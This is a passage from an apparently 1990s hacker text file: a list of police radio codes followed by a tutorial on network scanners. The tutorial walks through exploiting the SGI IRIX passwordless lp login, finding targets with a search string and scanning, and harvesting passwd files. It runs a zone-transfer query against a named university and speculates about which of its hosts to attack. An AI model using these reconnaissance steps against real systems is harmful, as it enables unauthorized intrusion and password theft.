926A - Tow truck dispatched
927 - Investigate unknown trouble
927A - Person pulled from telephone
927D - Investigate posible dead body
928 - Found property
929 - Investigate person down
930 - See man regarding a complaint
931 - See woman regarding a complaint
932 - Woman or child abuse/Open door
933 - Open window
949 - Gasoline spill
950 - Burning permit
951 - Request fire investigator
952 - Report condititions
953 - Check smoke report
954 - Arrived at scene
955 - Fire under control
956 - Availble for assignment
957 - Fire under control
960X - Car stop - dangerous suspects
961 - Take a report/Car stop
962 - Subject is armed and dangerous
966 - Sniper
967 - Outlaw motorcyclists
975 - Can your suspect hear your radio?
981 - Frequency is clear/Need radiological
982 - Are we being received/Bomb threat
983 - Explosion
995 - Labor trouble
996 - Explosion
996A - Unexploded bomb
998 - Officer involved in shooting
999 - Officer needs help - urgent!
10-1 - [BOTH] You are being received poorly, [MISS] Change location
10-2 - [BOTH] You are being received ok
10-3 - [BOTH] Stop transmitting/Change channels
10-4 - [BOTH] Ok, Acknowledgement
10-5 - [BOTH] Relay
10-6 - [BOTH] Station is busy, standby unless urgent
10-7 - [BOTH] Out of service - radio off
10-8 - [BOTH] In service
10-9 - [BOTH] Repeat last message
10-10 - [CA] Out of service - radio on
10-10 - [MISS] Fight in progress
10-11 - [CA] Give FCC call sign/Transmitting too fast
10-11 - [MISS] Dog case
10-12 - [CA] Visitors present
10-12 - [MISS] Stand by, remain alert, stop
10-13 - [BOTH] [Advise weather and road conditions
10-14 - [CA] Convoy or escort detail
10-14 - [MISS] Report of Prowler
10-15 - [CA] Enroute to jail w/ prisoner
10-15 - [MISS] Civil Disturbance
10-16 - [CA] Pick up prisoner
10-16 - [MISS] Domestic trouble
10-17 - [CA] Pick up papers
10-17 - [MISS] Meet complainant
10-18 - [BOTH] Complete assignment quickly
10-19 - [CA] Go to your station/I am enroute to my station
10-19 - [MISS] Return to __________
10-20 - [BOTH] What is your location?/My location is...
10-21 - [CA] Telephone your station
10-21 - [MISS] Call __________ by telephone
10-22 - [BOTH] Disregard, Cancel last message
10-23 - [CA] Stand by
10-23 - [MISS] Arrived at scene
10-24 - [CA] Trouble at station
10-24 - [MISS] Assignment completed
10-25 - [MISS] Report in person to meet __________
10-26 - [MISS] Detaining subject, expedite __________
10-27 - [CA] Check computer for warrants
10-27 - [MISS] Driver's license information
10-28 - [CA] Check for full information on vehicle or suspect
10-28 - [MISS] Vehicle registration information
10-29 - [BOTH] Check and advise if vehicle or subject is wanted
10-30 - [CA] Subject has no record, no wants
10-30 - [MISS] Illegal use of radio
10-31 - [CA] Subject has records, no wants
10-31 - [MISS] Crime in progress
10-32 - [CA] Subject is wanted
10-32 - [MISS] Man with gun
10-33 - [BOTH] Emergency traffic in the air
10-34 - [CA] Clearance for emergency messge/Resume normal traffic
10-34 - [MISS] Riot
10-35 - [CA] Confidential information/Backup needed
10-35 - [MISS] Major crime alert
10-36 - [BOTH] Correct time
10-36 - [CA] Correct time/Confidential info
10-37 - [CA] Correct time
10-37 - [MISS] Investigate suspicious auto
10-38 - [MISS] Stopping suspicious auto
10-39 - [CA] Message delivered
10-39 - [MISS] Urgent---use light/siren
10-40 - [MISS] Silent run---no light/siren
10-41 - [MISS] Ending tour of duty
10-42 - [MISS] Ending tour of duty
10-43 - [MISS] Information (J1 = confidential)
10-44 - [MISS] Request permission to leave patrol car
10-45 - [MISS] Animal carcass at __________
10-46 - [MISS] Assist motorist
10-47 - [MISS] Emergency road repairs needed
10-48 - [MISS] Trafic standard needs repair
10-49 - [MISS] Traffic light out
10-50 - [MISS] Accident
10-51 - [MISS] Wrecker needed
10-52 - [MISS] Ambulance needed
10-53 - [MISS] Road blocked
10-54 - [MISS] Livestock on Highway
10-55 - [MISS] Intoxicated driver
10-56 - [MISS] Intoxicated pedestrian
10-57 - [MISS] Hit & Run
10-59 - [MISS] Direct traffic
10-60 - [MISS] Squad in vicinity
10-61 - [MISS] Personal in area
10-62 - [MISS] Reply to message
10-63 - [MISS] Prepare to make written copy
10-64 - [MISS] Message for local delivery
10-65 - [MISS] Net message assignment
10-66 - [MISS] Message cancellation
10-67 - [MISS] Clear to read net message
10-68 - [MISS] Dispatch information
10-69 - [MISS] Message received
10-70 - [MISS] Fire Alarm
10-71 - [MISS] Advise nature of fire (size, type, contents of building)
10-72 - [MISS] Report on progress of fire
10-73 - [MISS] Smoke report
10-74 - [MISS] Negative
10-75 - [MISS] In contact with
10-76 - [MISS] En route (J1 = prisoner, J2 = female)
10-77 - [MISS] Estimated time of arrival
10-78 - [MISS] Need assistance
10-79 - [MISS] Notify coroner
10-80 - [MISS] Vacation check
10-81 - [MISS] School stops
10-82 - [MISS] Reserve loging
10-83 - [MISS] Door check
10-84 - [MISS] If meeting __________, advise
10-85 - [MISS] Will be late
10-86 - [CA] Traffic check
10-86 - [MISS] Report to station
10-87 - [CA] Meet an officer
10-87 - [MISS] Pick up checks for distribution
10-88 - [MISS] Advise present phone number
10-89 - [MISS] Car to car
10-90 - [MISS] Bank alarm
10-91 - [MISS] Unnecessary use of radio
10-92 - [MISS] Frequence check
10-93 - [MISS] Blockade
10-94 - [MISS] Drag racing
10-95 - [MISS] Give radio test
10-96 - [MISS] Mental subject
10-97 - [CA] Arriving at assigned detail
10-97 - [MISS] Minor detail (J1 = Station-report, J2 = Station-lunch, J3 =
Restaurant)
10-98 - [CA] Assigned detail complete
10-98 - [MISS] Prison or jail break
10-99 - [CA] Emergency - all units and stations!
10-99 - [MISS] Records indicate wanted or stolen
11-6 - Illegal discharge of firearms
11-7 - Prowler
11-8 - Person down
11-10 - Take a report
11-12 - Dead animal/Loose livestock
11-13 - Injured animal
11-14 - Animal bite
11-15 - Ball game in street
11-17 - Wires down
11-24 - Abandoned vehicle
11-25X - Female motorist needs assistance
11-27 - Subject has record, no wants/Drivers license check
11-28 - Rush vehicle information information
11-29 - Subject has no record, no wants
11-30 - Incomplete phone call
11-31 - Person calling for help
11-40 - Advise if ambulance needed
11-41 - Request ambulance
11-42 - Ambulance not required/Paramedics needed
11-43 - Doctor required
11-44 - Possible fatality
11-45 - Attempted suicide
11-46 - Death report
11-47 - Injured person
11-48 - Provide transportation
11-50 - Field interrogation
11-51 - Security check
11-70 - Fire alarm
11-71 - Fire report
11-78 - Paramedics dispatched
11-79 - Traffic accident - ambulance dispatched
11-80 - Traffic accident - serious injury
11-81 - Traffic accident - minor injury
11-82 - Traffic accident - property damaged
11-83 - Traffic accident - no details
11-84 - Direct traffic
11-85 - Send tow truck
11-86 - Special detail/Bomb threat
11-87 - Assist other unit/Bomb found
11-88 - Assist motorist
11-98 - Meet an officer
11-99 - Officer needs help - Urgent!
5150 - Mental case
10851 - Grand theft, auto
10852 - Tampering w/ Vehicle
20001 - Hit-and-run (felony)
20002 - Hit-and-run (misdemeanor)
20007 - Hit-and-run - unattended vehichle
21958 - Drunk pedestrian on roadway
22350 - Speeding
22500 - Illegal parking
23101 - Drunk driving - injury involved
23102 - Drunk driver
23105 - Driver under influence of narcotics
23109 - Cars racing
23110 - Persons throwing objects at vehicles
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
6. All about Scanners
by AcidMeister
ameister@vol.com
Begin by answering some basic questions, including;
What is a scanner?
What does a scanner do?
On what platforms are scanners available?
What system requirements are involved to run a scanner?
Is it difficult to create a scanner?
What will a scanner tell me?
What won't a scanner tell me?
Are scanners legal?
Why are scanners important to Internet security?
After answering these questions, I will examine the historical background
of scanners.
From there, I cover the scanner from a more practical viewpoint. I will
differentiate between true scanners are other diagnostic network tools. I
will examine different types of scanners, especially very popular ones
(such as SATAN and Strobe). At that point, you will gain understanding of
what constitutes a scan and what ingredients are necessary to create a
scanner.
Finally, you will conduct a scan and analyze what information has been
gained from it. In this way, you will derive an inside look at scanner
functionality. By the end of this chapter, you will know what a scanner is,
how to deploy one, and how to interpret the results from a scan. In short,
I will prepare you for actual, network combat using scanners.
Scanners
In Internet security, no hacking tool is more celebrated than the scanner.
It is said that a good TCP port scanner is worth a thousand user passwords.
Before I treat the subject of scanners in depth, I want to familiarize you
with scanners.
What Is a Scanner?
A scanner is a program that automatically detects security weaknesses in a
remote or local host. By deploying a scanner, a user in Los Angeles can
uncover security weaknesses on a server in Japan without ever leaving his
or her living room.
How Do Scanners Work?
True scanners are TCP port scanners, which are programs that attack TCP/IP
ports and services (Telnet or FTP, for example) and record the response from
the target. In this way, they glean valuable information about the target
host (for instance, can an anonymous user log in?).
Other so-called scanners are merely UNIX network utilities. These are
commonly used to discern whether certain services are working correctly on a
remote machine. These are not true scanners, but might also be used to
collect information about a target host. (Good examples of such utilities are
the rusers and host commands, common to UNIX platforms.) Such utilities are
discussed later in this chapter.
Cross Reference: rusers gathers information about users currently logged
to the targeted host and in this way, closely resembles the UNIX utility
finger. host is also a UNIX utility, designed to interactively query
name servers for all information held on the targeted host.
On What Platforms Are Scanners Available?
Although they are commonly written for execution on UNIX workstations,
scanners are now written for use on almost any operating system. Non-UNIX
scanning tools are becoming more popular now that the rest of the world has
turned to the Internet. There is a special push into the Microsoft
Windows NT market, because NT is now becoming more popular as an Internet
server platform.
What System Requirements Are Necessary to Run a Scanner?
System requirements depend on the scanner, your operating system, and your
connection to the Internet. Certain scanners are written only for UNIX,
making UNIX a system requirement. There are, however, more general
requirements of which to be aware:
You might encounter problems if you are running an older Macintosh or
IBM compatible with a slow Internet connection (as would be the case if
you used Windows 3.11 running TCPMAN as a TCP/IP stack, via
a 14.4 modem). These configurations might cause stack overflows or
general protection faults, or they might simply cause your machine to
hang. Generally, the faster your connection, the better off you are.
(And naturally, a true 32-bit system contributes greatly to performance.)
RAM is another issue, mainly relevant to window-system-based scanners.
Command-line scanning utilities typically require little memory.
Windowed scanners can require a lot. (For a comparison, I suggest
running ISS. First, try the older, command-line version. Then run the
new Xiss, which operates through MIT's X Window System, OpenWindows, or
any compatible UNIX-based windowing system. The difference is very
noticeable.)
Bottom line, you must have a compatible operating system, a modem (or other
connection to the Net), and some measure of patience. Not all scanners work
identically on different platforms. On some, this or that option might be
disabled; on others, sometimes very critical portions of the application
might not work.
Is It Difficult to Create a Scanner?
No. However, you will require strong knowledge of TCP/IP routines and
probably C, Perl, and/or one or more shell languages. Developing a scanner
is an ambitious project that would likely bring the programmer much
satisfaction. Even so, there are many scanners available (both free and
commercial), making scanners a poor choice as a for-profit project.
You will also require some background in socket programming, a method used
in the development of client/server applications.
Cross Reference: There are many resources online to help you get
started; I list two here. The first is a bare-bones introduction to
socket programming generated by Reg Quinton at The University of
Western Ontario. It can be found at
http://tecstar.cv.com/~dan/tec/primer/socket_programming.html.
Another excellent source for information about socket programming is
provided by Quarterdeck Office Systems as an online programming
resource. It addresses all supported BSD 4.3 socket routines and is
very comprehensive. It is located at
http://149.17.36.24/prog/sockets.html.
What Will a Scanner Tell Me?
A scanner might reveal certain inherent weaknesses within the target host.
These might be key factors in implementing an actual compromise of the
target's security. In order to reap this benefit, however, you must know
how to recognize the hole. Most scanners do not come with extensive manuals
or instructions. Interpretation of data is very important.
What Won't a Scanner Tell Me?
A scanner won't tell you the following:
A step-by-step method of breaking in
The degree to which your scanning activity has been logged
Are Scanners Legal?
Yes. Scanners are most often designed, written, and distributed by security
personnel and developers. These tools are usually given away, via public
domain, so that system administrators can check their own systems for
weaknesses. However, although scanners are not illegal to possess or use,
employing one if you are not a system administrator would meet with brutal
opposition from the target host's administrator. Moreover, certain scanners
are so intrusive in their probing of remote services that the unauthorized
use of them may violate federal or state statutes regarding unauthorized
entry of computer networks. This is a matter of some dispute and one not
yet settled in law. Therefore, be forewarned.
WARNING: Do not take scanning activity lightly. If you intend to scan
wide ranges of domains, check the laws in your state. Certain states
have extremely particular legislation. The wording of such statutes is
(more often than not) liberally construed in favor of the prosecution.
For example, the state of Washington has provisions for computer
trespass. (Wash. Rev. Code Sec. 9A.52 110-120.) If you deploy a scanner
that attempts to steal the passwd file (a password file on the UNIX
platform located in the directory /ETC), you might actually have
committed an offense. I will discuss legal issues of hacking and
cracking in
Why Are Scanners Important to Internet Security?
Scanners are important to Internet security because they reveal weaknesses
in the network. Whether this information is used by hackers or crackers is
immaterial. If used by system administrators, scanners help strengthen
security in the immediate sense. If employed by crackers, scanners also help
strengthen security. This is because once a hole has been exploited, that
exploitation will ultimately be discovered. Some system administrators argue
that scanners work against Internet security when in the hands of crackers.
This is not true. If a system administrator fails to adequately secure his or
her network (by running a scanner against it), his or her negligence will
come to light in the form of a network security breach.
Historical Background
Scanners are the most common utilities employed by today's cracker. There is
no mystery as to why: These programs, which automatically detect weaknesses
within a server's security structure, are fast, versatile, and accurate.
More importantly, they are freely available on the Internet. For these
reasons, many sources insist that the scanner is the most dangerous tool
in the cracking suite.
To understand what scanners do and how they are employed, you must look to
the dawn of computer hacking. Transport yourself to the 1980s, before the
personal computer became a household item. The average machine had a 10MB
hard disk drive and a whopping 640K memory. In fact, our more mature readers
will remember a time when hard disk drives did not exist. In those early
days, work was done by rotating through a series of 5" floppy diskettes;
one for the operating system, one for the current program, and one to save
your work.
Those early days are rather amusing in retrospect. Communications were
conducted, if at all, with modems ranging in speed from 300 to 1200bps.
Incredibly, we got along rather well with these meager tools.
The majority of users had never heard of the Internet. It existed, true,
but was populated primarily by military, research, and academic personnel.
Its interface--if we could call it that--was entirely command-line based.
But these were not the only limitations preventing America from flocking to
the Net. Machines that could act as servers were incredibly expensive.
Consider that Sun Microsystems workstations were selling for five and six
figures. Today, those same workstations--which are scarcely more powerful
than a 25MHz 386--command less than $800 on Usenet.
We're talking frontier material here. Civilians with Internet access were
generally students with UUCP accounts. Dial-up was bare-bones, completely
unlike today's more robust SLIP, PPP, and ISDN access. In essence, the
Internet was in its infancy, its existence largely dependent on those early
software authors concerned with developing the system.
Security at that point was so lax that some readers will wonder why the
Internet was not completely overtaken by crackers. The answer is simple.
Today, there are massive online databases and mailing lists that broadcast
weaknesses of a dozen different operating systems. Table 9.1 lists a few
examples.
Table 9.1. Online mailing lists of security holes.
Resource
Location
Firewalls mailing list
Firewalls@GreatCircle.COM
Sneakers mailing list
Sneakers@CS.Yale.EDU
The WWW security list
WWW-security@ns2.rutgers.edu
The NT security list
Ntsecurity@ISS
Bugtraq
BUGTRAQ@NETSPACE.ORG
Dozens of such mailing lists now exist on the Internet (for a comprehensive
list, see Appendix A, "How to Get More Information"). These lists operate
almost completely free of human interaction or maintenance. List members
forward their reports via e-mail, and this e-mail is distributed to the
entire list, which can sometimes be many thousands of people worldwide. In
addition, such lists are usually archived at one or more sites, which feature
advanced search capabilities. These search capabilities allow any user, list
member, or otherwise to search for inherent vulnerabilities in every operating
system known to humankind.
Joining a list: Joining such a list is generally a simple process. Most
lists require that you send an e-mail message to a special address.
This address accepts commands from your first line of the e-mail
message. The structure of this command may vary. In some cases, that
command is as simple as subscribe. In other cases, you may be required
to issue arguments to the command. One such argument is the name of the
list. For example, the Firewalls mailing list at GreatCircle.com
requires that you send subscribe firewalls as the first line of
your e-mail.
Please note that this must be the first line of the e-mail message, and
not the subject line. This message is then sent to
majordomo@greatcircle.com. The address majordomo is a very common one
for processing mailing list subscription requests. Of course, each list
is different. To quickly determine the requirements for each security
list, I suggest you use Eugene Spafford's Web page as a springboard.
Mr. Spafford lists links on his page to most of the well-known security
mailing lists.
Cross Reference: Spafford's page is at
http://www.cs.purdue.edu/homes/spaf/hotlists/csec-top.html.
From Spafford's page, you can get to instructions on how to subscribe
to any of the linked lists.
In the beginning, however, there were no such databases. The databases did
not exist largely because the knowledge did not exist. The process by which
holes get discovered inherently involves the exploitation of such weaknesses.
More simply put, crackers crack a machine here and a machine there. By and by,
the weaknesses that were exploited in such attacks were documented (and in
certain instances, eradicated by later, superior code). This process, as you
might expect, took many years. The delay was based in part on lack of
knowledge and in part on the unwillingness of many system administrators to
admit their sites had been penetrated. (After all, no one wants to publicize
that he implements poor security procedures.)
So the stage is set. Picture a small, middle-class community with stately
homes and nicely trimmed lawns. It is near midnight. The streets are empty;
most of the windows in the neighborhood are dark, their shades drawn tight.
One window is brightly lit, though, and behind it is a young man of 15
years; before him is a computer (for the sake of atmosphere
, let's label it
an old portable CoreData).
The boy is dialing a list of telephone numbers given to him by a friend.
These are known UNIX boxes sprinkled throughout a technology park a few
miles away. Most of them accept a connection. The common response is to
issue a login prompt. Each time the boy connects to such a machine, he tries
a series of login names and passwords. He goes through a hundred or more
before finally, he obtains a login shell. What happens then is up to him.
It is hard to believe that early cracking techniques involved such laborious
tasks. Depending on the operating system and the remote access software, one
might have to type dozens of commands to penetrate a target. But, as much as
crackers are industrious, they are also lazy. So, early on, the war dialer
was developed.
A war dialer consists of software that dials a user-specified range of
telephone numbers searching for connectables (machines that will allow a
remote user to log in). Using these tools, a cracker can scan an entire
business exchange in several hours, identifying all hosts within that range.
In this way, the task of locating targets was automated.
Better yet, war dialers record the response they receive from each connect.
This data is then exported to a human-readable file. Thus, in neatly written
tables, one can tell not only which numbers connected, but also what type of
connection was initiated (such as modem, 2400 baud or fax machine).
NOTE: The term war dialer reportedly originated from the film WarGames.
The film's plot centered around a young man who cracked his way into
American military networks. Some people believe that the film was
inspired by the antics of the now-famous cracker, Kevin Mitnik. Mitnik
was a young teen when he cracked a key military network.
Cross Reference: If you want to check out a war dialer in action,
I suggest getting Toneloc. It is freely available on the Internet and
is probably the best war dialer ever made. It was written to run in DOS,
but it also runs in Windows 95 via command prompt
(though perhaps not as smoothly as it should). It is available at
ftp://ftp.fc.net/pub/defcon/TONELOC/tl110.zip.
In essence, scanners operate much like war dialers with two exceptions:
Scanners are used only on the Internet or other TCP/IP networks.
Scanners are more intelligent than war dialers.
Early scanners were probably very simplistic. I say probably because such
programs were not released to the Internet community the way scanning tools
are today (I therefore have no way of knowing what they looked like). Thus,
when I write of early scanners, I mean basic programs written by system
administrators for the purposes of checking their own networks. These were
most likely UNIX shell scripts that attempted to connect on various ports,
capturing whatever information was directed to the console or STDOUT. STDOUT
refers to the output that one sees on the console or at a command prompt. In
other words, it is the output of a given command. The STD refers to standard,
and the OUT refers to output. STDOUT, therefore, is the standard output of
any given command. The STDOUT result of a directory listing, for example, is
a list of filenames and their sizes.
The Attributes of a Scanner
The primary attributes of a scanner are
The capability to find a machine or network
The capability, once having found a machine, to find out what services
are being run on the host
The capability to test those services for known holes
This process is not incredibly complex. At its most basic, it involves
capturing the messages generated when one tries to connect to a particular
service. To illustrate the process step by step, let's address these
attributes one at a time.
Locating a Potential Target
The Internet is vast. There are literally millions of potential targets in
the void. The problem facing modern crackers is how to find those targets
quickly and effectively. Scanners are well suited for this purpose. To
demonstrate how a scanner can find a potential target, determine what
services it is running, and probe for weaknesses, let's pick on Silicon
Graphics (SGI) for the remainder of this section. Here, you will see how
scanners are regularly employed to automate human cracking tasks.
A Hole Is Discovered
In late 1995, Silicon Graphics (SGI) shipped a large number of WebForce
models. These were extremely powerful machines, containing special software
to generate media-rich WWW pages. They ran IRIX, a proprietary form of UNIX,
specifically designed for use with SGI graphics workstations.
Certain versions of IRIX retained a default login for the line printer. That
is, if a user initiated a Telnet session to one of these SGI boxes and logged
in as lp, no password would be required.
Typically, the cracker would be dropped to a shell prompt from which he or
she could execute a limited number of commands. Most of these were standard
shell commands, available to any user on the system. These did not require
special privileges and performed only basic functions, such as listing
directories, displaying the contents of files, and so forth. Using these
commands, crackers could print the contents of the passwd file to the screen.
Once they had obtained this display, they would highlight the screen, clip
the contents, and paste them into a text editor on their local machine. They
would save this information to a local file and subsequently crack the
encrypted passwords from the SGI system.
TIP: A number of automated password-cracking utilities exist. Most
often, these are designed to crack DES-encrypted passwords, common to
UNIX systems. I will cover these utilities in Chapter 10,
"Password Crackers."
News of this vulnerability spread quickly. Within days, the word was out:
SGI WebForce machines could be attacked (and their security compromised)
with little effort. For crackers, the next step was to find these machines.
Looking for WebForce Models
To exploit this hole, crackers needed to find WebForce models. One way to do
so was manually. For a time, search engines such as altavista.digital.com
could be used to locate such machines en masse. This is because many of the
WebForce models were administrated by those with strong knowledge of graphic
arts and weak knowledge of security. These administrators often failed to
institute even the most basic security measures. As such, many of these
machines retained world-readable FTP directories. These directories were
therefore visible to search engines across the Internet.
The FTP directories of these SGI models contained standard, factory-default
/etc/passwd files. Contained within these were the login names of system
users. The majority of these login names were common to almost any
distribution of UNIX. However, these passwd files also included unique login
names. Specifically, they contained login names for several utilities and
demo packages that shipped with the software. One of these was a login
called EZSetup. Thus, a cracker needed only to issue the following search
string into any well known search engine:
EzSetup + root: lp:
This would return a list of WebForce models. The cracker would then take
that list and attempt to crack each machine. It was a quick and dirty way to
collect a handful of potential targets. However, that trend didn't last long
(about a month or so). Advisories were posted to the Net, explaining that
world-readable directories were responsible for the compromise of SGI
security. So crackers turned elsewhere.
Some used the InterNIC database to find such machines (the WHOIS service).
The WHOIS service, housed at internic.net, is a database of all registered
machines currently on the Internet. One can query this database (to find out
the network numbers or the owner's address of a given machine) by issuing a
WHOIS instruction at a UNIX command prompt. The structure of such a command
is whois mci.net. For those who do not use UNIX, one can either Telnet
directly to InterNIC (internic.net) or use one of the utilities described
later in this chapter.
Many hosts included words within their registered names that suggested at
least a fleeting probability that they owned an SGI, such as
Graphics
Art
Indy
Indigo
The terms Indy and Indigo commonly appear on either the Web site or the
directory structure of an SGI workstation. That is because the product
line is based on the Indigo model, which is often referred to as the Indy
product line.
Some InterNIC entries also include the operating system type being run
on the host. Thus, a search for the string IRIX could reveal a few machines.
However, these methods were unreliable. For example, many versions of IRIX
did not suffer from the lp bug (neither did every WebForce model). So,
instead, many crackers employed scanners.
Using Scanners to Uncover WebForce Models
Finding WebForce models using a scanner was an easy task. A range of
addresses (such as 199.171.190.0 to 199.171.200.0) would be picked out,
perhaps randomly, perhaps not. The cracker would specify certain options.
For example, the scan didn't need to have great depth (an issue we will be
discussing momentarily). All it needed to do was check each address for a
Telnet connection. For each successful connection, the scanner would capture
the resulting text. Thus, a typical entry might look something like this:
Trying 199.200.0.0
Connected to 199.200.0.0
Escape Character is "]"
IRIX 4.1
Welcome to Graphics Town!
Login:
The resulting information would be written to a plain text file for later
viewing.
Talented crackers would write an ancillary program to automate the entire
process. Here are the minimum functions that such a program would require:
Start the scan, requesting the option to test Telnet connections for
the lp login.
Wait until a signal indicating that the scan is completed is received.
Access the result file, exporting only those results that show
successful penetration.
Format these results into flat-file, database format for easy management.
The scan would run for several hours, after which the cracker would retrieve
a list of compromised Indy machines. Later, perhaps at night (relative to
the geographical location of the target host), the cracker would log in
and being the process of grabbing the password files.
TIP: If you know of an SGI machine and you want to view the IP address
of the last person who exploited this vulnerability, finger
lp@the.sgi.box. This author traced down a person at Texas A&M
University who was compromising machines from Los Angeles to New York
using this technique. This young man's originating address appeared on
22 machines. (Some of these were of well- known institutions. While we
cannot identify them here, one was a graphic design school in New York
City. Another was a prominent gay rights organization in Los Angeles.
To this day, these machines may well be vulnerable to such an attack.
Alas, many SGI users are gifted graphic artists but have little
background in security. A renowned university in Hawaii missed this
hole and had an entire internal network torn to pieces by a cracker. He
changed the root passwords and destroyed valuable data.)
NOTE: If you currently have a WebForce model, you can test whether it
is vulnerable to this simple attack. First, Telnet to the machine. When
confronted with a login prompt, enter the string lp and press Enter. If
you are immediately logged into a shell, your machine is vulnerable. If
so, this can be quickly remedied by opening the file /etc/passwd and
inserting an asterisk between the first and second fields for the user
lp. Thus, the leading portion of the line would look like this:
lp:*:4:7:lp:/var/spool/lpd:
instead of like this:
lp::4:7:lp:/var/spool/lpd:
The idea is to create a locked login. If you fail to do so, the problem
will remain because the system is configured to accept a line printer
login without requesting a password.
Of course, this is a very primitive example, but it illustrates how
potential targets are sometimes found with scanners. Now I want to get more
specific. Momentarily, you will examine various scanners currently available
on the Internet. Before that, however, you need to distinguish between actual
scanners and network utilities that are not scanners.
Network Utilities
Sometimes people erroneously refer to network utilities as scanners. It is an
easy mistake to make. In fact, there are many network utilities that perform
one or more functions that are also performed during a bona fide scan. So,
the distinction is significant only for purposes of definition.
Because we are focusing on scanners, I would like to take a moment to
illustrate the distinction. This will serve two purposes: First, it will
more clearly define scanners. Second, it will familiarize you with
the rich mixture of network resources available on the Internet.
The network utilities discussed next run on a variety of platforms. Most of
them are ported from UNIX environments. Each utility is valuable to hackers
and crackers. Surprisingly, garden-variety network utilities can tell the
user quite a bit, and these utilities tend to arouse less suspicion. In fact,
many of them are totally invisible to the target host. This is in sharp
contrast to most scanners, which leave a large footprint, or evidence of
their existence, behind. In this respect, most of these utilities are
suitable for investigating a single target host. (In other words, the
majority of these utilities are not automated and require varying levels
of human interaction in their operation.)
host
host is a UNIX-specific utility that performs essentially the same operation
as a standard nslookup inquiry. The only real difference is that host is
more comprehensive. Note, too, that various non-UNIX utilities discussed in
the following pages also perform similar or equivalent tasks.
host ranks as one of the ten most dangerous and threatening commands in the
gamut. To demonstrate why, I pulled a host query on Boston University
(BU.EDU). The command line given was
host -l -v -t any bu.edu
The output you are about to read is astonishing. A copious amount of
information is available, including data on operating systems, machines,
and the network in general. (Also, if you are deep into security, some
preliminary assumptions might be made about trust relationships.) Examine
a few lines. First, let's look at the basic information:
Found 1 addresses for BU.EDU
Found 1 addresses for RS0.INTERNIC.NET
Found 1 addresses for SOFTWARE.BU.EDU
Found 5 addresses for RS.INTERNIC.NET
Found 1 addresses for NSEGC.BU.EDU
Trying 128.197.27.7
bu.edu 86400 IN SOA BU.EDU HOSTMASTER.BU.EDU(
961112121 ;serial (version)
900 ;refresh period
900 ;retry refresh this often
604800 ;expiration period
86400 ;minimum TTL
)
bu.edu 86400 IN NS SOFTWARE.BU.EDU
bu.edu 86400 IN NS RS.INTERNIC.NET
bu.edu 86400 IN NS NSEGC.BU.EDU
bu.edu 86400 IN A 128.197.27.7
This in itself is not damaging. It identifies a series of machines and
their name servers. Most of this information could be collected with a
standard WHOIS lookup. But what about the following lines:
bu.edu 86400 IN HINFO SUN-SPARCSTATION-10/41 UNIX
PPP-77-25.bu.edu 86400 IN A 128.197.7.237
PPP-77-25.bu.edu 86400 IN HINFO PPP-HOST PPP-SW
PPP-77-26.bu.edu 86400 IN A 128.197.7.238
PPP-77-26.bu.edu 86400 IN HINFO PPP-HOST PPP-SW
ODIE.bu.edu 86400 IN A 128.197.10.52
ODIE.bu.edu 86400 IN MX 10 CS.BU.EDU
ODIE.bu.edu 86400 IN HINFO DEC-ALPHA-3000/300LX OSF1
Here, we are immediately aware that a DEC Alpha running OSF/1 is available
(ODIE.bu.edu). And then:
STRAUSS.bu.edu 86400 IN HINFO PC-PENTIUM DOS/WINDOWS
BURULLUS.bu.edu 86400 IN HINFO SUN-3/50 UNIX (Ouch)
GEORGETOWN.bu.edu 86400 IN HINFO MACINTOSH MAC-OS
CHEEZWIZ.bu.edu 86400 IN HINFO SGI-INDIGO-2 UNIX
POLLUX.bu.edu 86400 IN HINFO SUN-4/20-SPARCSTATION-SLC UNIX
SFA109-PC201.bu.edu 86400 IN HINFO PC MS-DOS/WINDOWS
UH-PC002-CT.bu.edu 86400 IN HINFO PC-CLONE MS-DOS
SOFTWARE.bu.edu 86400 IN HINFO SUN-SPARCSTATION-10/30 UNIX
CABMAC.bu.edu 86400 IN HINFO MACINTOSH MAC-OS
VIDUAL.bu.edu 86400 IN HINFO SGI-INDY IRIX
KIOSK-GB.bu.edu 86400 IN HINFO GATORBOX GATORWARE
CLARINET.bu.edu 86400 IN HINFO VISUAL-X-19-TURBO X-SERVER
DUNCAN.bu.edu 86400 IN HINFO DEC-ALPHA-3000/400 OSF1
MILHOUSE.bu.edu 86400 IN HINFO VAXSTATION-II/GPX UNIX
PSY81-PC150.bu.edu 86400 IN HINFO PC WINDOWS-95
BUPHYC.bu.edu 86400 IN HINFO VAX-4000/300 OpenVMS
I have omitted the remaining entries for sake of brevity. The inquiry
produced a plain text file of some 70KB (over 1500 lines in all).
The point here is this: Anyone, with a single command-line, can gather
critical information on all machines within a domain. When crackers looks
at the preceding information, they are really seeing this:
ODIE.bu.edu is a possible target for the mount -d -s bug, where if two
successive mount -d -s commands are sent within seconds of one another
(and before another host has issued such a request), the request will
be honored.
CHEEZEWIZ.bu.edu is a potential target for either the lp login bug or
the Telnet bug. Or maybe, if we're on site, we can exploit the floppy
mounter bug in /usr/etc/msdos.
POLLUX.bu.edu is an old machine. Perhaps Sun Patch-ID# 100376-01 hasn't
been applied. Maybe they put in a fresh install of SunOS 4.1.x and the
SPARC integer division is shredded.
I see that PSY81-PC150.bu.edu is running Windows 95. I wonder whether
the SMB protocol is running and if so, are any local directories shared
out? Using Samba on a Linux box, perhaps I can attach one of the shared
out directories from anywhere on the Internet simply by specifying
myself as a guest.
As you can easily see, even minor information about the operating system can
lead to problems. In reality, the staff at BU.EDU has likely plugged all the
holes mentioned here. But that doesn't mean that every host has.
Most haven't.
A host lookup takes less than three seconds, even when the network is under
heavy system load. It is quick, legal, and extremely revealing.
CAUTION: There are various ways to protect against this. One way is to
run a firewall. Another is to restrict queries of name servers to a
particular set of addresses. Another is to completely disallow outside
access to your name servers.
Traceroute
Traceroute's name is quite descriptive. In short, it traces the route
between two machines. As explained in the man (manual) page:
Tracking the route one's packets follow (or finding the miscreant gate
way that's discarding your packets) can be difficult. Traceroute
utilizes the IP protocol `time to live' field and attempts to elicit an
ICMP TIME_EXCEEDED response from each gateway along the path to some
host.
NOTE: Man pages are manual pages on the UNIX platform. These are the
equivalent of help files. They can be called from a command prompt or
from a windowed system. On a full install of UNIX, these man pages
cover help on all commands one can issue from a prompt. They also
cover most programming calls in C and C++.
This utility can be used to identify the location of a machine. Suppose,
for example, that you are trying to track down an individual who posted
from a box connected to his or her ISP via PPP. Suppose that the posting
revealed nothing more than an IP address that, when run through a WHOIS
search, produces nothing (that is, the address is not the address of a
